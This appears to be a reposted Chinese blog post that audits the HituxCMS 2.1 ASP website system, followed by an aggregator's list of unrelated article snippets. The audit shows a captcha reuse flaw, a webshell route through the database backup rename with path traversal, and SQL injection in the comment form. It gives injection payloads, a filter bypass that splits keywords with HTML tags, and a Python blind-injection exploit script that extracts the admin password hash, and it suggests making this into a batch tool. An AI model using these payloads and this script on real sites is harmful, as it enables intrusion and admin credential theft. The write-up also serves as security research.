海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入

news/2024/4/27 14:26:19/文章来源:https://blog.csdn.net/weixin_33883178/article/details/88943329

〇.前言

本文为笃行日常工作记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。意在展现一个完整的开源CMS代码手工审计的过程,从未发表过,三年过去了,回过头看还是优点意义的,故这次发出来,一起学习~。
通过本文你可以获取HituxCMS 2.1版本的漏洞发掘过程,getshell和sql注入。

一.系统介绍

海纳企业网站管理系统(HituxCMS)是海纳网络工作室(Hitux.com)专业为企业建站而开发
的一款网站程序。该系统采用最简单易用的 asp+access 进行搭建,拥有完善的网站前后台,
并特别根据企业网站的特点开发出独具特色的栏目和功能。 HituxCMS 是企业建站的绝佳选
择!
系统三大特色:
1、全静态:全站生成.html 静态页面。降低服务器压力,增强百度收录。
2、高优化:特别针对搜索引擎进行优化处理,让客户快速找到你。
3、 够简单:拥有完善后台管理系统,所有内容均可在后台进行更新。非专业人士也可
操作。

二. 架构分析

2.1 系统目录结构

系统核心目录结构如下:

其中 AdminBeat 为后台目录, 整站的管理功能模块都在此目录中完成, Data21923 是数
据库存放目录。这两个目录一般会改名做最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 户 可 以 直 接 调 用 的 功 能 , rss/index.asp
search/index.asp, RSS 订阅和搜索。

2.2 系统功能模块

Inc 目录为基础的通用包含模块目录,功能如下:

文件名功能
/x_to_html 后台生成静态模块集合后台生成静态模块集合
Access.asp权限验证模块
AntiAttack.asp攻击防御模块
article_view.asp文章阅读计数器
comment.asp留言模块
conn.asp数据库连接模块
Create.asp创建文件夹模块
GetCode.asp验证码生成模块
html_clear.aspHtml 实体/XSS 过滤模块
Md5.aspMD5 算法类
page_list.asp分页模块
rand.asp随机数模块
web_config.asp站点基本配置读取模块

AdminBeat 目录下功能繁多,就不一一列举,且后台在实战中经常改变的。 就例举常用敏感
功能。

文件名功能
/KEditorKindEditor 目录,版本: 4.1.3
/PicUpload图片上传模块
/PicUpLoad2图片上传模块
Data_xxxx.asp数据库操作模块
admin_login.asp管理员登录验证模块
upfile.asp upfile_photo.asp upload.inc文件上传

2.3 系统实体/表结构分析(只列核心重要的)

表名作用
Article文章
Category文章分类
Web_admin管理员信息表(密码帐号权限)
Web_article_comment文章评论
Web_models模版主题
Web_settings系统配置

其中Web_Admin 表结构如下

管理员密码以 md5-16 形式存放于 password 字段。

2.4 系统缺省设置

缺省项目作用
后台目录 /adminbeat 管理员登录系统最重要的
默认数据库目录/Data21293/NYIKUGY5434231.mdb系统持久化文件敏感信息
默认管理员密码帐号 admin/admin登录后台用,拥有系统的最高权限

2.5 系统权限验证机制解析

​ 本系统对于用户纯静态,没有动态的文件展示。只有rss.asp/serach.asp/comment.asp 交
互用,也没有普通用户的系统,所有的操作都在后台进行。
​ 权限验证总体来说做的还不错,粗看没有找到能越权操作的地方, 且验证比较合理,状
态采用 Session 机制保存,系统 Session 字段如下:

Session作用
Session("log_name")判断是否登录用
Session("getcode")验证码记录字段
Session("log_role")管理员权限字段

​ 这里引入的 Session 机制非常合理,充分避免了一些权限绕过的问题。
登录会话产生 session

If Not (rs.bof Or rs.eof) Then
Session("log_name")=rs("username")
Session("log_role")=rs("class")
session.Timeout=1000

Admin_login.asp 登陆成功时记录 Session

<%
'chk session
If Session("log_name")="" Then
response.redirect "login.asp"
%>
<%
End If
%>

Access.asp 对 Session 字段进行验证。

<%
Session.Abandon()
Response.Redirect "login.asp"
%>

Loingout.asp 销毁 Session

三.系统整体防御体系分析

3.1 用户权限/越权操作防御

上文中 Session 机制引入,验证模块 Access.asp。在所有的后台功能操作模块均包含了
Access.asp。

所以越权操作基本不存在,权限字段似乎也没什么用,只要是管理员能就能操作后台。

3.2 SQL注入防御

主要有 2 个文件 inc/AntiAttack.aspAdminbeat/Inc/Functions.asp

Err_Message = 1 '处理方式: 1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖
script‖alert"
'在这部份定义 get 非法参数,使用"‖"号间隔
Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" '在这部份定义 post 非法参数,使用"‖"
号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"‖")
FOR EACH Query_form_name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句

可以发现本系统对 get 参数和 post 参数进行了基本过滤, 但显然 post 参数过滤的关键词不多, 且过滤方式是模式匹配,请求参数只要完整包含过滤词中的其中一个则会出现
如下错误:

过滤一些 T-SQL 的关键词,看似还算安全,此文件非函数封装,只要包含了此文件都会起
到防御功能。
Adminbeat/Inc/Functions.asp 中, GetSafeStr 函数过滤引号分号。

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

这是个函数需要主动调用这个函数才能起到防御作用。

3.3 XSS防御

文件 inc/html_clear.asp
HTML 过滤就不具体分析了,下文具体漏洞挖掘中用到再分析。

四.漏洞挖掘和分析

4.1 验证码逻辑缺陷

以登录为例: AdminBeat/login.asp

<td ><input type="text" name="verifycode" class='verifycode' id="verifycode" size="16"
maxlength="5"/> <IMG style="CURSOR: pointer"
onclick="this.src=this.src+'?'" height=16 width=50 alt="验证码,看不清楚?请
点击刷新验证码"
src="../inc/getcode.asp"></td>

​ 验证码通过/inc/getcode.asp 请求并且写入 session,如果登录失败,则会返回到 login.asp页面,但是刷新验证码是通过 HTML 脚本实现的,只要我们请求一次验证码,在这个会话周期和 SESSION 周期里,我们只要不重新去请求/inc/getcode.asp 那么验证码是不会变的!于是就可以写一个后台管理员密码爆破工具。

4.2 后台 GetShell

​ 如果有了后台权限那 GetShell 还是很简单的,这里我没有详细挖掘上传漏洞,就直接使
用数据库备份功能[内容管理->数据管理->数据备份]。

​ 看备份代码:

act=Request("act")
If act="save" Then
NewData=replace(LCase(request("NewData")),".asp",".mdb")
if NewData=request("OldData") then
response.Write "<script language='javascript'>alert('新的数据库名称不允许与原始数据库名
称重复! ');history.go(-1);</script>"
response.end
else
Set fso=CreateObject("Scripting.FileSystemObject")
filesource=server.MapPath(DataFolder&"/"&request("OldData"))
fileto=server.MapPath(DataFolder&"/"&NewData)
if fso.fileexists(filesource)

​ 可以发现,简单的把.asp 替换程.mdb,当时没有考虑 asa, cer,aspx 也能执行的情况。

其次备份文件路径没有做限制,可以构造../1.cer 跳到根目录,在我们不知道数据库目录的情况下可以把文件备份到根目录。那么就可以在数据库中插入我们的恶意语句或者上传一个文件用备份方式修改后缀名获取 WEBSHELL。

4.3 留言板SQL注入

​ 直接进入主题,留言板前端位于/ FeedBack/index.html

​ 后端代码为/inc/comment.asp

<!-- #include file="AntiAttack.asp" -->
<!-- #include file="conn.asp" -->
<!-- #include file="md5.asp" -->
<!-- #include file="html_clear.asp" -->
<!-- #include file="Create.asp" -->
<!-- #include file="x_to_html/Post_index_to_html.asp" -->
<%'判断
if request("act")="add" then
article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))
if comment="" then
response.Write "<script language='javascript'>alert(' 请 输 入 您 的 评 论 内 容 !
');history.go(-1)</script>"
else
if request("verycode")="" then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
elseif session("getcode")="9999" then
session("getcode")=""
elseif session("getcode")="" then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误
^_^');history.go(-1);</script>"
Response.End
end if

​ 引入了防注入文件和 CSS 过滤文件看来比较安全,留言通过 POST 表单形式提交的,继续看
代码。

set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
rs.open(sql),cn,1,3
if not rs.eof then
response.Write "<script language='javascript'>alert('请不要重复发布!
');history.go(-1)</script>"
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if

​ 发表留言是,会对留言内容进行查库判重复。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

​ 这里我们能控制的是 comment 字段,再看上面 post 参数过滤代码,没有对引号之类的进行
过滤。

​ 提交数据

提示不要重复, 看来已经绕过了注入过滤。那么构造一条查询有结果集的语句,如果库内没有任何留言我们可以先留言一个( 为了构造语句,使得查询结果集有结果)。
我们要构造成这样

select * from web_article_comment where [content]='anything' or '1'='1'

​ 继续提交数据

​ 提示被过滤了!

原来是 AntiAttack.asp 中过滤的 = 符号
那我们改成这样,也能达到条件

select * from web_article_comment where [content]='anything' or '1'<'2'

符合我们的预期,说明确实被带入语句查询了!看来注入点存在,那我们让条件不满足,应该会提示留言已经发布成功!

继续再提交

select * from web_article_comment where [content]='anything' or '1'>'2'

结果如下:

注入存在!
前文提到过 web_admin 表中的管理员数据,那我们来构造语句注入吧, 但是这个注入点是
不会把查询结果回显到前端,那么只能伪盲注,为什么叫伪盲注呢,因为还是有留言成功和
不成功的两种状态的。直接进入主题。 按位猜解。

select * from web_article_comment where [content]='anything'or '1'>'2' union select
id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>'a'

根据返回结果来判断密码的某一位是否是一个值,又因为 md5-16 加密,那么值的范围肯定
是属于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
那么最坏情况下猜解 16 x 16 次即可把密码完全解出来,我们来验证下。 默认密码 MD5 是
“7a57a5a743894a0e”
那我们提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)<'8

应该返回留言重复。

提交

anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)< '7

应该返回留言发表成功。

哦对了,我们引入了 select union 等被过滤的词。那么我们来绕过过滤!
感谢过滤 XSS 模块给我的帮助,见上文。

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

我们来看看 nohtml 这个函数的实现,其中有代码:

re.Pattern="(\<.[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="(\<\/[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="/(^[\\s]*)/g"
str=re.replace(str,"")

太棒了,我们可以把 select 改成 sel<html>ect 这种, 在处理的时候直接绕过了注入监测,然后在查库前通过 nohtml 函数把 sel<html>ect 又还原程了 select!太幸福,那么分分钟就可以写出了简单的 exp,然后有了这个过 waf 也是简单的,我们可以填充任意 html 元素!

def get( idx,key ):
s = "ly'or '1'>'2' union sel<html>ect id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where
mid(password,%d,1)<'%c"%(idx,key)
#print s
httplib.HTTPConnection.debuglevel = 1
request = urllib2.Request( 'http://localhost/inc/comment.asp?act=add&id=' )
request.add_header("Accept", "text/html,*/*")
request.add_header("Connection", "Keep-Alive")
request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM")
datax = {'name':'f','content': s,'verycode':'0663'}
print datax
datax = urllib.urlencode(datax)
try:
opener = urllib2.build_opener()
d = opener.open(request,data=datax, timeout=5).read()
d = d.decode("utf8").encode("gbk")
print d
if( d.find( "成功" ) != -1):
return 0
else:
return 1 #存在
except Exception, e:
return 0
def binarydriver( s,e,keys):
while s <= e:
m = (s+e)//2
print m
if get(keys[m])>0:
e = m - 1
elif e - s > 0:
s = m + 1
else:
return keys[m]
binarydriver(s,e,keys)
def check_jcfile(idx):
s = "/0123456789abcdefg"
l = 0
ll = 0
for i in range(0, 17):
l = get(idx,s[i])
if ll == 0 and l == 1:
return s[i - 1]
ll = l
return '0def main(argv):
md5 = "";
for i in range(1, 17):
md5 = md5 + check_jcfile( i )
print md5

EXP 没有加优化,只是遍历的,如果用二分法( ’0123456789abcdef’) 是有序的,可以把枚
举的复杂度降低到 log16。大大加快了 EXP 的速度,其次 EXP 可以把验证码识别下,做到全自动批量工具,百度一下还是效果不错的。

最后 ending…如有不足请指点,亦可留言或联系 fobcrackgp@163.com.
本文为笃行原创文章首发于大题小作,永久链接:海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入

https://www.ifobnn.com/hituxcms0day.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_782996.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

L - Working Plan (贪心) 2018-2019 ACM-ICPC, Asia Seoul Regional Contest

题目大意&#xff1a; 给m个人&#xff0c;和n天&#xff0c;然后再给一个人连续工作的天数w&#xff0c;和他工作w天之后要休息h天才能再次开始w天的工作。 给出m个人一共要工作的天数&#xff0c;和n天每天的工作天数&#xff0c;求是否有可行解。 说白了&#xff0c;就是给一…

查看一个网站后台是用的什么服务器

为什么80%的码农都做不了架构师&#xff1f;>>> 本文出自 “腾飞工作室” 博客&#xff0c;请务必保留此出处 http://www.cnblogs.com/tfgzs/p/5763623.html 转载于:https://my.oschina.net/u/1427693/blog/734442

IT运维常用工具网站收录

一、查询终端互联网出口IP地址&#xff1a;1、window可以通过浏览器访问网站&#xff1a;http://www.cip.cc/http://myip.ipip.net/http://ip138.com2、Linux可以通过命令查询#curl myip.ipip.net#curl cip.cc 二、知名端口查询http://www.imfirewall.com/ip-mac-lookup/ 通过网…

深圳网站优化:网站上线前要做哪些准备?

随着搜索引擎的普及&#xff0c;越来越多的人通过搜索引擎进行学习&#xff0c;学习网站搭建也已经不算什么难事&#xff0c;但是有很多朋友网站还没完善好就匆匆将网站上线&#xff0c;导致搜索引擎对网站的评分大大降低&#xff0c;甚至因为网站上线后经常改动&#xff0c;导…

Web 性能优化: 图片优化让网站大小减少 62%

这是 Web 性能优化的第二篇&#xff0c;上一篇在下面看点击查看&#xff1a; Web 性能优化&#xff1a; 使用 Webpack 分离数据的正确方法图像是web上提供的最基本的内容类型之一。他们说一张图片胜过千言万语。但是如果你不小心的话&#xff0c;图片大小有时高达几十兆。 因此…

如何使子网站拥有独立的权限设置

那么如果我们在创建子网站的时候并没有做出选择&#xff0c;选择的是默认的“使用与父网站相同的权限”&#xff0c;是否可以在子网站创建后进行修改呢&#xff1f;答案当然是可以的。我们先进入到子网站中&#xff0c;点击“网站操作”&#xff0c;选择“网站设置”。点击“用…

WordPress建站指南

前言&#xff1a;WordPress是我所见的博客服务程序中最好的了&#xff0c;可以灵活配置出令人难以置信的华丽界面&#xff0c;以及很多新奇有趣的功能&#xff0c;在享受新奇乐趣的同时&#xff0c;学习和分享&#xff0c;实在是人生一大快事。有图有真相&#xff0c;附上我的W…

php管理系统申请著作权,php管理系统申请著作权-我有一套PHP源码系统,想修改网站底部版权信息,可......

用thinkphp开发的程序可以应用于版权吗下载一个TP项目&#xff0c;它有一个README.md文件。你可以打开看看。如果你还不知道如何搜索Apache2协议。您可以使用此框架进行二次开发&#xff0c;并为新项目申请版权版本&#xff0c;但前提是您必须保留TP框架的Apache2声明协议&…

spring data jpa从入门到精通_SpringBoot入门建站全系列(三)Mybatis操作数据库

SpringBoot入门建站全系列&#xff08;三&#xff09;Mybatis操作数据库SpringBoot操作数据库有多种方式&#xff0c;如JDBC直接操作: 玩法太古老了&#xff0c;而且难免会忘记关闭连接。没人愿意这样玩Mybatis插件&#xff1a;比较时髦&#xff0c;比较适合sql复杂&#xff0c…

为什么百度可以抓取html,百度蜘蛛抓取规律和原理(揭秘百度是如何抓取你网站的)...

经常听到站长们问&#xff0c;那怎么才能识别正确的百度蜘蛛呢&#xff1f;来来来&#xff0c;只需两步&#xff0c;教你正确识别百度蜘蛛1、查看UA&#xff0c;如果UA都不对&#xff0c;可以直接判断非百度搜索的蜘蛛&#xff0c;目前对外公布过的UA是&#xff1a;移动UA:Mozi…

seo从入门到精通_DEDE新手教程,织梦建站教程(快速入门)

大家好&#xff0c;欢迎收看小郑seo《织梦建站入门到精通》系列教程。很多seo小白在开始学习建站时都会问一个问题&#xff0c;我不会编程&#xff0c;能建站吗?可以的&#xff0c;用网站cms系统就可以快速建设网站。而现在国内使用最多的网站CMS系统&#xff0c;就是接下来我…

安卓app和iosapp开发有什么不同呢?-综合外链_我的网站收录有很多为什么没排名?怎么办办解决...

前言&#xff1a;收录和排名是两座大山&#xff0c;但如果已经收录了&#xff0c;还是没有排名怎么办呢?优优蜘蛛池付费群中的小伙伴对这块的内容非常感兴趣&#xff0c;粉丝嘛&#xff0c;肯定是要宠的。内容大纲&#xff1a;选词原因搜索引擎缓存原因用户体验问题被归入低级…

迪奥官方网站

2019独角兽企业重金招聘Python工程师标准>>> 迪奥官方网站( http://www.kguowai.com/html/198.html)一直是炫丽的高级女装的代名词。他继承着法国高级女装的传统&#xff0c;始终保持高级华丽的设计路线&#xff0c;做工精细&#xff0c;迎合上流社会成熟女性的审美…

从零开始建站-2

为什么80%的码农都做不了架构师&#xff1f;>>> 前面以为搭建的差不多了&#xff0c;结果后面出现些问题&#xff0c;继续罗列在这里:) 1、如何调试php代码&#xff1f; 修改/etc/php.ini&#xff0c;使 display_errors On 和 error_reporting E_ALL&#xff0…

基于django的视频点播网站开发-step4-首页功能

在本讲中&#xff0c;我们开始首页功能的开发&#xff0c;在开发过程中&#xff0c;大家将会学习到Django中的通用视图类、分页对象paginator以及foreignKey外键的使用。 效果演示 整体功能 大家可先通过 网站演示地址 浏览一下首页的效果。我们首页呢&#xff0c;比较简洁大方…

koken html5网站建设CMS软件

2019独角兽企业重金招聘Python工程师标准>>> koken&#xff0c;你的自图片说明网站的最佳选择&#xff01; See more Library features 图文混排的最佳选择&#xff1b; 在线设置实时预览&#xff0c;所见&#xff0c;即所得 See more Site features …

php 获取微信头像昵称,网站获取微信头像昵称 | 忆云竹

摘要php网站获取微信头像昵称等信息的方法有时网站需要获取用户微信头像用以显示但是微信头像等信息的获取需要用户的同意&#xff0c;也就不像QQ头像那么容易获取教程首先获取授权index.php (授权页面)window.location.href"https://open.weixin.qq.com/connect/oauth2/…

Office 365管理员指引 19——Sharepoint 网站快速访问链接

a) 在部门网站中&#xff0c;上排有一行显示平行的子页面&#xff0c;左侧有一列显示该网站的功能区b) 点击编辑链接即可快速新增或删除链接转载于:https://blog.51cto.com/johnnytang/1721191

为 Drupal 7 网站添加自定义CSS

当我们在逛聊天室或者论坛时&#xff0c;经常会碰到有人提问怎么向 Drupal 网站中添加自定义CSS —— 通常来讲&#xff0c;通过 Drupal 主题来进行添加最好。不过在某些情况下&#xff0c;因为环境限制或网站管理员没有访问主题文件的权限&#xff0c;而不得不考虑其它办法。今…

zencart隐藏网站统计代码

如何给网站添加统计代码&#xff0c;我想基本很多人都会的。那么如何隐藏统计代码呢&#xff1f; 看下面的代码&#xff1a; </div> <div style"display:none;"> <script src"http://s22.cnzz.com/stat.php?id4130248&web_id4130248&sh…